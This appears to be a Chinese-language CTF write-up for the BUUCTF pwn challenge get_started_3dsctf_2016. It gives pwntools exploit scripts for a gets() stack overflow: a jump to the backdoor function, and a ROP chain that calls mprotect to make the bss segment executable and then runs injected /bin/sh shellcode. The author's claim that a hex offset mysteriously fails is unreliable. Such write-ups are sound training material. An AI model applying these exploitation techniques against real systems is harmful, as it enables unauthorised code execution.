BUU get_started_3dsctf_2016

发布时间 2023-11-27 21:16:57作者: Smera1d0

先checksec一下
image.png

32位程序,没开PIE,再观察一下主函数
image.png

gets函数有可能是栈溢出,再观察一下后门函数
image.png

方法一:

考虑栈溢出后直接跳转到if判断后面的语句,进而跳过if条件判断

from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",25895)
offset = 0x38+8
addr = 0x080489B8
payload = b'a'*offset
p.sendline(payload)
p.interactive()

但是这样并不能打通,原因是,打远程时,如果程序异常退出,是不会给你回显flag的,所以我们必须指明一个返回地址,可以这样构造:a*offset+后门函数+返回地址+函数参数

返回地址利用c语言自带的exit的地址
image.png

exp:

from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",26281)
addr=0x080489A0
offset = 56
payload = b'A'*offset+p32(addr)+p32(0x0804E6A0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
print(p.recv())
p.interactive()

有个很玄学的东西,我的offset写成16进制就打不通,换成十进制就打通了

方法二:

利用mprotect更改bss段权限
mprotect函数是这样定义的:
int mprotect(const void *start, size_t len, int prot);

  • start是需要进行操作的地址
  • len是从地址往后多长的长度
  • prot是要对这段赋予的权限

prot=0x7是可读可写可执行
start起始地址也有要求,要求是4k的整数倍,后三位要为000

CTRL+S查看程序的段表

image.png

因此start = 0x080EB000

我们需要设置mprotect的三个参数,需要三个寄存器,用ROPgadget查一下

from pwn import *

# p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn", 26281)
mprotect = 0x0806EC80
mem_addr = 0x080EB000
len = 0x100
ret = 0x0809e4c5
read_addr = 0x0806E140

offset = 56
payload = b'A' * offset + p32(mprotect)  # 溢出跳转到mprotect
payload += p32(ret)  # 寄存器
payload += p32(mem_addr)  # 第一个参数start
payload += p32(0x1000)  # 第二个参数len
payload += p32(0x7)  # 第三个参数prot
payload += p32(read_addr)  # 调用read
payload += p32(ret)  # 寄存器
payload += p32(0)  # fd
payload += p32(mem_addr)  # 需要读的地址
payload += p32(len)  # 读的长度
payload += p32(mem_addr)  # 返回到更改完rwx的bss段
p.sendline(payload)
shellcode = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(shellcode)  # 对bss段执行shellcode
p.interactive()

成功拿到flag